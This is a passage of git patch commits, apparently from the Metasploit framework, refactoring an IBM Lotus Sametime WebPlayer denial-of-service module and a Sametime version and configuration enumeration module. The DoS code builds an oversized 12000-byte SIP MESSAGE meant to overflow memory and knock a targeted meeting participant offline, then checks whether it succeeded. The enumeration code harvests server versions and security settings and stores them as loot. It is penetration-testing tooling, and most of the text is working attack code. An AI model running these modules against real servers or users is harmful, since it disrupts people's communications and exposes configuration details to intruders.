datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) end + end - def create_message(length) - # create SIP MESSAGE of specified length - vprint_status("Creating SIP MESSAGE packet #{length} bytes long") + def send_msg(msg) - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(datastore['RHOST']) - src = "#{shost}:#{datastore['RPORT']}" - cseq = Rex::Text.rand_text_numeric(3) - message_text = Rex::Text.rand_text_alphanumeric(length.to_i) - branch = Rex::Text.rand_text_alphanumeric(7) - - # setup SIP message in the correct format expected by the server - data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" - data << "Max-Forwards: 80\r\n" - data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" - data << "CSeq: #{cseq} MESSAGE" + "\r\n" - data << "Content-Type: text/plain;charset=utf-8" + "\r\n" - data << "User-Agent: #{suser}\r\n" - data << "Content-Length: #{message_text.length}" + "\r\n\r\n" - data << message_text - - return data - end - - def timing_get_once(s, length) - if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 - return s.get_once(length, datastore['TIMEOUT']) - else - return s.get_once(length) - end - end - - def send_msg(msg) - - begin - s = connect - # send message and store response - s.put(msg + "\r\n\r\n") rescue nil - # read response - res = timing_get_once(s, 25) - if res == "\r\n" - # retry request - res = timing_get_once(s, 25) - end - return res - rescue ::Rex::ConnectionRefused - print_status("Unable to connect to #{rhost}:#{rport}") - rescue ::Errno::ECONNRESET - print_status("DoS packet successful. #{rhost} not responding.") - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") - ensure - # disconnect socket if still open - disconnect if s - end + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("Unable to connect to #{rhost}:#{rport}") + rescue ::Errno::ECONNRESET + print_status("DoS packet successful. #{rhost} not responding.") + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + ensure + # disconnect socket if still open + disconnect if s end + end end From 882c637a8cea4d3a08a64b0b237884be674ffb8f Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Wed, 15 Jan 2014 13:57:27 +0100 Subject: [PATCH 019/246] Remove unneeded empty line --- modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb index 43eaaddce6..b6ddcfaa99 100644 --- a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb @@ -45,7 +45,6 @@ class Metasploit3 < Msf::Auxiliary [ 'BID', '63611'], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] - ], 'DisclosureDate' => 'Nov 07 2013')) From 51b3d164f7b86f2bb9cdbbb60a978d54ad5501f8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 09:30:51 -0600 Subject: [PATCH 020/246] Move the DoS module to the correct location --- .../multi => auxiliary/dos}/misc/ibm_sametime_webplayer_dos.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{exploits/multi => auxiliary/dos}/misc/ibm_sametime_webplayer_dos.rb (100%) diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb similarity index 100% rename from modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb rename to modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb From 11d613f1a7f3168ecfe575ad691bef38cb217edb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 10:52:42 -0600 Subject: [PATCH 021/246] Clean ibm_sametime_webplayer_dos --- .../dos/misc/ibm_sametime_webplayer_dos.rb | 178 ++++++++++-------- 1 file changed, 98 insertions(+), 80 deletions(-) diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index b6ddcfaa99..766aa47d6a 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -21,21 +21,25 @@ class Metasploit3 < Msf::Auxiliary the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a browser extension. The user should have the WebPlayer plug-in active (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. - - RHOST Target should be the Sametime Media Server address and NOT the - web interface SIPURI should be in the format - @ (e.g. - targetuser%40targetdomain.com@stmedia.targetdomain.com }, 'Author' => [ + 'Chris John Riley', # Vulnerability discovery 'kicks4kittens' # Metasploit module ], 'License' => MSF_LICENSE, 'Actions' => [ - ['DOS'], - ['CHECK'] + ['DOS', + { + 'Description' => 'Cause a Denial Of Service condition against a connected user' + } + ], + ['CHECK', + { + 'Description' => 'Checking if targeted user is online' + } + ] ], 'DefaultAction' => 'DOS', 'References' => @@ -51,9 +55,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(5060), - OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', - '@']), - OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), + OptAddress.new('RHOST', [true, 'The Sametime Media Server']), + OptString.new('SIPURI', [ + true, + 'The SIP URI of the user to be targeted', + '@' + ]), OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) ], self.class) @@ -62,98 +69,107 @@ class Metasploit3 < Msf::Auxiliary def setup # cleanup SIP target to ensure it's in the correct format to use @sipuri = datastore['SIPURI'] - if @sipuri[0,4].downcase == "sip:" + if @sipuri[0, 4].downcase == "sip:" # remove sip: if present in string - @sipuri = @sipuri[4,@sipuri.length] + @sipuri = @sipuri[4, @sipuri.length] end - if @sipuri[0,12].downcase == "webavclient-" + if @sipuri[0, 12].downcase == "webavclient-" # remove WebAVClient- if present in string - @sipuri = @sipuri[12,@sipuri.length] + @sipuri = @sipuri[12, @sipuri.length] + end + end + + def run + # inform user of action currently selected + print_status("Action: #{action.name} selected") + + # CHECK action + if action.name == 'CHECK' + check_user + return + end + + # DOS action + print_status("#{peer} - Checking if user #{@sipuri} is online") + check_result = check_user + + if check_result == false + print_error("#{peer} - User is already offline... Exiting...") + return + end + + # only proceed if action is DOS the target user is + # online or the CHECKUSER option has been disabled + print_status("#{peer} - Targeting user: #{@sipuri}...") + dos_result = dos_user + + if dos_result + print_good("#{peer} - User is offline, DoS was successful") + else + print_error("#{peer} - User is still online") end end - def checkuser - # used to check the user is logged into Sametime and after DoS to check success + def peer + "#{rhost}:#{rport}" + end + + def dos_user + length = 12000 # enough to overflow the end of allocated memory + msg = create_message(length) + res = send_msg(msg) + + if res.nil? + vprint_good("#{peer} - User #{@sipuri} is no responding") + return false + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") + vprint_good("#{peer} - User #{@sipuri} is no longer responding") + return false + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") + vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") + vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") + return true + end + end + + # used to check the user is logged into Sametime and after DoS to check success + def check_user length = Rex::Text.rand_text_numeric(2) # just enough to check response msg = create_message(length) - - print_status("Checking if targeted user #{@sipuri} is online") res = send_msg(msg) # check response for current user status - common return codes if res.nil? - print_error("No response recevied from server") + vprint_error("#{peer} - No response") return false elsif res =~ /430 Flow Failed/i - print_good("User #{@sipuri} is no longer responding (already DoS'd?)") + vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") return false elsif res =~ /404 Not Found/i - print_error("User #{@sipuri} is currently offline or not in a Sametime video session") + vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") return false elsif res =~ /200 OK/i - print_good("User #{@sipuri} is online") + vprint_good("#{peer} - User #{@sipuri} is online") return true else - print_error("Unknown server response") + vprint_error("#{peer} - Unknown server response") return false end - - end - - def run - - # inform user of action currently selected - print_status("Action: #{action.name} selected") - - if datastore['CHECKUSER'] or action.name == 'CHECK' - # check the user is online without DOS - response = checkuser - else - print_status("User check disabled, continuing with DoS against #{@sipuri}") - response = true # no check performed - end - - unless action.name == 'CHECK' # only proceed if action not set to CHECK - if response - # checkuser explicitly disabled or user is online - - print_status("Targeting user: #{@sipuri}") - print_status("Sending DoS packet to #{rhost}:#{rport}") - - length = 12000 # enough to overflow the end of allocated memory - msg = create_message(length) - res = send_msg(msg) - - if res.nil? - if datastore['CHECKUSER'] # check user AFTER DoS - print_good("User #{@sipuri} is no longer responding") - else - print_good("No response from server. User is offline or server doesn't respond") - end - elsif res =~ /430 Flow Failed/i - print_good("DoS packet successful. Response received (430 Flow Failed)") - print_good("User #{@sipuri} is no longer responding") - elsif res =~ /404 Not Found/i - print_error("DoS packet appears successful. Response received (404 Not Found)") - print_status("User appears to be currently offline or not in a Sametime video session") - elsif res =~ /200 OK/i - print_error("DoS packet unsuccessful. Response received (200)") - print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") - end - else - print_error("Check failed, ensure user is online") - end - end end def create_message(length) # create SIP MESSAGE of specified length vprint_status("Creating SIP MESSAGE packet #{length} bytes long") - suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) - shost = Rex::Socket.source_address(datastore['RHOST']) - src = "#{shost}:#{datastore['RPORT']}" + source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) + source_host = Rex::Socket.source_address(datastore['RHOST']) + src = "#{source_host}:#{datastore['RPORT']}" cseq = Rex::Text.rand_text_numeric(3) message_text = Rex::Text.rand_text_alphanumeric(length.to_i) branch = Rex::Text.rand_text_alphanumeric(7) @@ -163,11 +179,11 @@ class Metasploit3 < Msf::Auxiliary data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" data << "Max-Forwards: 80\r\n" data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" - data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" - data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" + data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" data << "CSeq: #{cseq} MESSAGE" + "\r\n" data << "Content-Type: text/plain;charset=utf-8" + "\r\n" - data << "User-Agent: #{suser}\r\n" + data << "User-Agent: #{source_user}\r\n" data << "Content-Length: #{message_text.length}" + "\r\n\r\n" data << message_text @@ -183,7 +199,6 @@ class Metasploit3 < Msf::Auxiliary end def send_msg(msg) - begin s = connect # send message and store response @@ -196,11 +211,14 @@ class Metasploit3 < Msf::Auxiliary end return res rescue ::Rex::ConnectionRefused - print_status("Unable to connect to #{rhost}:#{rport}") + print_status("#{peer} - Unable to connect") + return nil rescue ::Errno::ECONNRESET - print_status("DoS packet successful. #{rhost} not responding.") + print_status("#{peer} - DoS packet successful, host not responding.") + return nil rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") + print_status("#{peer} - Couldn't connect") + return nil ensure # disconnect socket if still open disconnect if s From bce321c628405068239b783bb152b03350e9bf55 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 11:02:35 -0600 Subject: [PATCH 022/246] Do response handling a little better, fake test --- .../dos/misc/ibm_sametime_webplayer_dos.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index 766aa47d6a..db9298e0f0 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -85,7 +85,12 @@ class Metasploit3 < Msf::Auxiliary # CHECK action if action.name == 'CHECK' - check_user + print_status("#{peer} - Checking if user #{@sipuri} is online") + if check_user + print_status("#{peer} - User online") + else + print_status("#{peer} - User offline") + end return end @@ -122,18 +127,21 @@ class Metasploit3 < Msf::Auxiliary if res.nil? vprint_good("#{peer} - User #{@sipuri} is no responding") - return false + return true elsif res =~ /430 Flow Failed/i vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") vprint_good("#{peer} - User #{@sipuri} is no longer responding") - return false + return true elsif res =~ /404 Not Found/i vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") - return false + return true elsif res =~ /200 OK/i vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") + return false + else + vprint_status("#{peer} - Unexpected response") return true end end From 5e8ab6fb890987b17ec24bf83469cd4e6d466420 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 12:23:11 -0600 Subject: [PATCH 023/246] Clea ibm_sametime_version --- .../auxiliary/gather/ibm_sametime_version.rb | 340 +++++++----------- 1 file changed, 134 insertions(+), 206 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 564f9263c9..b62c3db861 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -11,12 +11,60 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + URLS = [ + '/stmeetings/about.jsp', + '/stmeetings/serverversion.properties', + '/rtc/buildinfo.txt', + '/stmeetings/configuration?format=json&verbose=true' + ] + + PROXY_URLS = [ + '/stwebclient/i18nStrings.jsp', + '/stwebclient/communityserver', + '/stwebav/WebAVServlet?Name=WebPlayerVersion' + ] + + JSON_KEYS = [ + 'communityRef', + 'anonymousEnabled', + 'calinteg.enabled', + 'docshare.fileio.codebase', + 'docshare.native.codebase', + 'docshare.remote.url', + 'meetingroom.allowGuestAccess', + 'meetingroomcenter.allowGuestAccess', + 'meetingroomcenter.customLoginPage', + 'meetingroomcenter.enforceCSRFToken', + 'meetingroomcenter.enforceHiddenRooms', + 'meetingroomcenter.passwords', + 'meetingserver.statistics.jmx.enabled', + 'rtc4web.enforceNonce', + 'userInfoRedirect', + 'userInfoUrlTemplate', + 'meetingroomcenter.stProxyAddress', + 'meetingroomcenter.stProxySSLAddress' + ] + + INFO_REGEXS = [ + # section, key, regex + [ 'version', 'sametimeVersion', /lotusBuild">Release (.+?)<\/td>/i ], + [ 'api', 'meeting', /^meeting=(.*)$/i ], + [ 'api', 'appshare', /^appshare=(.*)$/i ], + [ 'api', 'docshare', /^docshare=(.*)$/i ], + [ 'api', 'rtc4web', /^rtc4web=(.*)$/i ], + [ 'api', 'roomapi', /^roomapi=(.*)$/i ], + [ 'api', 'recordings', /^recordings=(.*)$/i ], + [ 'api', 'audio', /^audio=(.*)$/i ], + [ 'api', 'video', /^video=(.*)$/i] + ] + + def initialize super( 'Name' => 'IBM Lotus Sametime Version Enumeration', 'Description' => %q{ - This module scans an IBM Lotus Sametime web interface to enumerate - the version and configuration information. + This module scans an IBM Lotus Sametime web interface to enumerate + the version and configuration information. }, 'Author' => [ @@ -40,215 +88,104 @@ class Metasploit3 < Msf::Auxiliary end - def check_url(tpath, url, stproxy_rhost='') + def check_url(url, proxy='') - if stproxy_rhost.empty? + cgi_options = { + 'uri' => normalize_uri(target_path, url), + 'method' => 'GET' + } + + if proxy.empty? checked_host = datastore['RHOST'] - vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") - res = send_request_cgi({ - 'uri' => normalize_uri(tpath, url), - 'method' => 'GET' - }) else - checked_host = stproxy_rhost - # make request with provided stproxy rhost - vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") - res = send_request_cgi({ - 'uri' => normalize_uri(tpath, url), - 'method' => 'GET', - 'rhost' => stproxy_rhost, # connect to Sametime Proxy - 'vhost' => stproxy_rhost # set appropriate VHOST + checked_host = proxy + cgi_options.merge!({ + 'rhost' => proxy, # connect to Sametime Proxy + 'vhost' => proxy # set appropriate VHOST }) end - if not res + vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(target_uri.path, url)}\"") + res = send_request_cgi(cgi_options) + + if res.nil? print_status("#{checked_host}:#{rport} - Did not respond") return elsif res.code == 403 print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}") return - elsif not res.code == 200 + elsif res.code != 200 print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server") return end if url.include?('WebAVServlet') # special handler for WebAVServlet as body is JSON regardless of content-type - begin res_json = JSON.parse(res.body) rescue JSON::ParserError print_error("Unable to parse JSON response") end extract_webavservlet_data(res_json) - elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") - - res.body.each_line do | response_line | - extract_response_data(response_line, url) + res.body.each_line do |l| + extract_data(l, url) end - elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") - begin res_json = JSON.parse(res.body) rescue JSON::ParserError print_error("Unable to parse JSON response") end - # store configuration files as loot - store_config(tpath, url, res_json, checked_host) if datastore['StoreConfigs'] - + store_config(url, res_json, checked_host) if datastore['StoreConfigs'] extract_json_data(res_json) - end - end + # extract data from WebAVServlet def extract_webavservlet_data(res_json) - # extract data from WebAVServlet - # stwebav/WebAVServlet --> WebPlayer information if res_json['Softphone'] @version_info['version']['Softphone'] = res_json['Softphone'] end + if res_json['WebPlayer'] @version_info['version']['WebPlayer'] = res_json['WebPlayer'] end - end - def extract_response_data(response_line, url) + #TODO: check if we can just do one parsing, sending the full answer, and not line by line + def extract_data(data, url) # extract data from response + INFO_REGEXS.each do |regex| + if data =~ regex[2] + @version_info[regex[0]][regex[1]] = $1.chomp + end + end - case response_line - # stmeetings/about.jsp --> Sametime Server version string - when /lotusBuild">Release (.+?)<\/td>/i - # lotus build version - @version_info['version']['sametimeVersion'] = $1.chomp - # serverversion.properties --> API Version information - when /^meeting=(.*)$/i - # meeting api version - @version_info['api']['meeting'] = $1.chomp - when /^appshare=(.*)$/i - # appshare api version - @version_info['api']['appshare'] = $1.chomp - when /^docshare=(.*)$/i - # docshare api version - @version_info['api']['docshare'] = $1.chomp - when /^rtc4web=(.*)$/i - # rtc4web api version - @version_info['api']['rtc4web'] = $1.chomp - when /^roomapi=(.*)$/i - # room api version - @version_info['api']['roomapi'] = $1.chomp - when /^recordings=(.*)$/i - # recording api version - @version_info['api']['recordings'] = $1.chomp - when /^audio=(.*)$/i - # audio api version - @version_info['api']['audio'] = $1.chomp - when /^video=(.*)$/i - # video api version - @version_info['api']['video'] = $1.chomp - # rtc/buildinfo.txt --> Server Build version - when /^(\d{8}-\d+)$/ - if url.include?('buildinfo.txt') - # buildinfo version - @version_info['version']['buildinfo'] = $1.chomp - end - # stwebclient/i18nStrings.jsp --> Sametime Server version string - when /aboutBoxProductTitle":"(.*?)",/i - if not @version_info['version']['sametimeVersion'] - # sametime version - @version_info['version']['sametimeVersion'] = $1.chomp - end + if url.include?('buildinfo.txt') and data =~ /^(\d{8}-\d+)$/ + @version_info['version']['buildinfo'] = $1.chomp + end + + if data =~ /aboutBoxProductTitle":"(.*?)",/i + @version_info['version']['sametimeVersion'] = $1.chomp unless @version_info['version']['sametimeVersion'] end end - - def extract_json_data(res_json) - # extract data from JSON response - - # stwebclient/communityserver --> Community server address - if res_json['communityRef'] - @version_info['conf']['communityRef'] = res_json['communityRef'] + # extract data from JSON response + def extract_json_data(json) + JSON_KEYS.each do |k| + @version_info['conf'][k] = json[k] if json[k] end - if res_json['anonymousEnabled'] - @version_info['conf']['communityref_anonymousEnabled'] = res_json['anonymousEnabled'] - # stmeetings/configuration --> Sametime configuration - end - if res_json['calinteg.enabled'] - @version_info['conf']['calinteg.enabled'] = res_json['calinteg.enabled'] - end - if res_json['docshare.fileio.codebase'] - @version_info['conf']['docshare.fileio.codebase'] = res_json['docshare.fileio.codebase'] - end - if res_json['docshare.native.codebase'] - @version_info['conf']['docshare.native.codebase'] = res_json['docshare.native.codebase'] - end - if res_json['docshare.remote.url'] - @version_info['conf']['docshare.remote.url'] = res_json['docshare.remote.url'] - end - if res_json['meetingroom.allowGuestAccess'] - if res_json['meetingroom.allowGuestAccess'] == "1" - @version_info['conf']['meetingroom.allowGuestAccess'] = "true" - else - @version_info['conf']['meetingroom.allowGuestAccess'] = "false" - end - end - if res_json['meetingroomcenter.allowGuestAccess'] - if res_json['meetingroomcenter.allowGuestAccess'] == "1" - @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "true" - else - @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "false" - end - end - if res_json['meetingroomcenter.customLoginPage'] - @version_info['conf']['meetingroomcenter.customLoginPage'] = res_json['meetingroomcenter.customLoginPage'] - end - if res_json['meetingroomcenter.enforceCSRFToken'] - @version_info['conf']['meetingroomcenter.enforceCSRFToken'] = res_json['meetingroomcenter.enforceCSRFToken'] - end - if res_json['meetingroomcenter.enforceHiddenRooms'] - @version_info['conf']['meetingroomcenter.enforceHiddenRooms'] = res_json['meetingroomcenter.enforceHiddenRooms'] - end - if res_json['meetingroomcenter.passwords'] - @version_info['conf']['meetingroomcenter.passwords'] = res_json['meetingroomcenter.passwords'] - end - if res_json['meetingserver.statistics.jmx.enabled'] - @version_info['conf']['meetingserver.statistics.jmx.enabled'] = res_json['meetingserver.statistics.jmx.enabled'] - end - if res_json['rtc4web.enforceNonce'] - @version_info['conf']['rtc4web.enforceNonce'] = res_json['rtc4web.enforceNonce'] - end - if res_json['userInfoRedirect'] - @version_info['conf']['userInfoRedirect'] = res_json['userInfoRedirect'] - end - if res_json['userInfoUrlTemplate'] - @version_info['conf']['userInfoUrlTemplatee'] = res_json['userInfoUrlTemplate'] - end - if res_json['meetingroomcenter.stProxyAddress'] - @version_info['conf']['meetingroomcenter.stProxyAddress'] = res_json['meetingroomcenter.stProxyAddress'] - end - if res_json['meetingroomcenter.stProxySSLAddress'] - @version_info['conf']['meetingroomcenter.stProxySSLAddress'] = res_json['meetingroomcenter.stProxySSLAddress'] - end - # stwebclient/communityserver --> Sametime Community server name - if res_json['communityRef'] - @version_info['conf']['communityRef'] = res_json['communityRef'] - @version_info['conf']['anonymousEnabled'] = res_json['anonymousEnabled'] - end - end def report - if @version_info['version']['sametimeVersion'] - print_line() + print_line print_good("#{@version_info['version']['sametimeVersion']} Detected (#{peer})") else - print_line() + print_line print_status("#{peer} - IBM Lotus Sametime information") end @@ -305,21 +242,18 @@ class Metasploit3 < Msf::Auxiliary print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig'] # report_note - if @version_info['version']['sametimeVersion'] - report_note( - :host => datastore['rhost'], - :port => datastore['rport'], - :proto => 'http', - :ntype => 'ibm_lotus_sametime_version', - :data => @version_info['version']['sametimeVersion'] - ) - end + report_note( + :host => datastore['rhost'], + :port => datastore['rport'], + :proto => 'http', + :ntype => 'ibm_lotus_sametime_version', + :data => @version_info['version']['sametimeVersion'] + ) if @version_info['version']['sametimeVersion'] end - def store_config(tpath, url, config_to_store, checked_host) + def store_config(url, config_to_store, checked_host) # store configuration as loot - - if not config_to_store.empty? + unless config_to_store.empty? loot = store_loot( "ibm_lotus_sametime_configuration_" + url, "text/json", @@ -327,66 +261,60 @@ class Metasploit3 < Msf::Auxiliary config_to_store, ".json" ) - - print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot") - print_status("#{checked_host}#{normalize_uri(tpath, url)}\n => #{loot}") + print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot") + print_status("#{checked_host}#{normalize_uri(target_uri.path, url)}\n => #{loot}") end end - def run + def target_path + normalize_uri(target_uri.path) + end + def proxy? + @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress'] + end + + def use_proxy? + datastore['QuerySametimeProxy'] + end + + def proxy_ssl? + @version_info['conf']['meetingroomcenter.stProxySSLAddress'] + end + + def run # create storage for extracted information+ @version_info = {} @version_info['version'] = {} @version_info['conf'] = {} @version_info['api'] = {} - tpath = normalize_uri(target_uri.path) - - sametime_urls = [ - '/stmeetings/about.jsp', - '/stmeetings/serverversion.properties', - '/rtc/buildinfo.txt', - '/stmeetings/configuration?format=json&verbose=true' - ] - - sametime_proxy_urls = [ - '/stwebclient/i18nStrings.jsp', - '/stwebclient/communityserver', - '/stwebav/WebAVServlet?Name=WebPlayerVersion' - ] - print_status("#{peer} - Checking IBM Lotus Sametime Server") - sametime_urls.each do | url | - check_url(tpath, url) + URLS.each do | url | + check_url(url) end - if @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress'] + if proxy? and use_proxy? # check Sametime proxy if configured to do so - if datastore['QuerySametimeProxy'] - - if @version_info['conf']['meetingroomcenter.stProxySSLAddress'] and datastore['SSL'] - # keep using SSL - stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") - else - stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") - end - - print_good("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}") - - sametime_proxy_urls.each do | url | - check_url(tpath, url, stproxy_rhost) - end - + if proxy_ssl? and ssl + # keep using SSL + proxy = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{proxy}") else - print_status("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}, but checks disabled") + proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{proxy}") end + + print_good("#{peer} - Sametime Proxy address discovered #{proxy}") + + PROXY_URLS.each do | url | + check_url(url, proxy) + end + elsif proxy? + print_status("#{peer} - Sametime Proxy address discovered, but checks disabled") end report unless @version_info.empty? - end end From fe64dbde835a540765dc0e8716beb1ed9b906f0c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 14:49:50 -0600 Subject: [PATCH 024/246] Use rhost and rport methods --- modules/auxiliary/gather/ibm_sametime_version.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index b62c3db861..4f64d51f74 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -243,8 +243,8 @@ class Metasploit3 < Msf::Auxiliary # report_note report_note( - :host => datastore['rhost'], - :port => datastore['rport'], + :host => rhost, + :port => rport, :proto => 'http', :ntype => 'ibm_lotus_sametime_version', :data => @version_info['version']['sametimeVersion'] From 10fd5304cedbf8104e7d372b46e4b91da668dae7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 15:17:25 -0600 Subject: [PATCH 025/246] Parse response body just one time --- modules/auxiliary/gather/ibm_sametime_version.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 4f64d51f74..1ea0d5623e 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -128,9 +128,7 @@ class Metasploit3 < Msf::Auxiliary end extract_webavservlet_data(res_json) elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") - res.body.each_line do |l| - extract_data(l, url) - end + extract_data(body, url) elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") begin res_json = JSON.parse(res.body) @@ -155,7 +153,6 @@ class Metasploit3 < Msf::Auxiliary end end - #TODO: check if we can just do one parsing, sending the full answer, and not line by line def extract_data(data, url) # extract data from response INFO_REGEXS.each do |regex| From 277711b578fe2a62602f3a854acde9bc766fb807 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 15:31:51 -0600 Subject: [PATCH 026/246] Fix metadata --- .../gather/ibm_sametime_enumerate_users.rb | 10 ++++++---- modules/auxiliary/gather/ibm_sametime_room_brute.rb | 13 +++++++------ modules/auxiliary/gather/ibm_sametime_version.rb | 13 +++++++------ 3 files changed, 20 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 2f3a639404..7a500dc41a 100644 --- 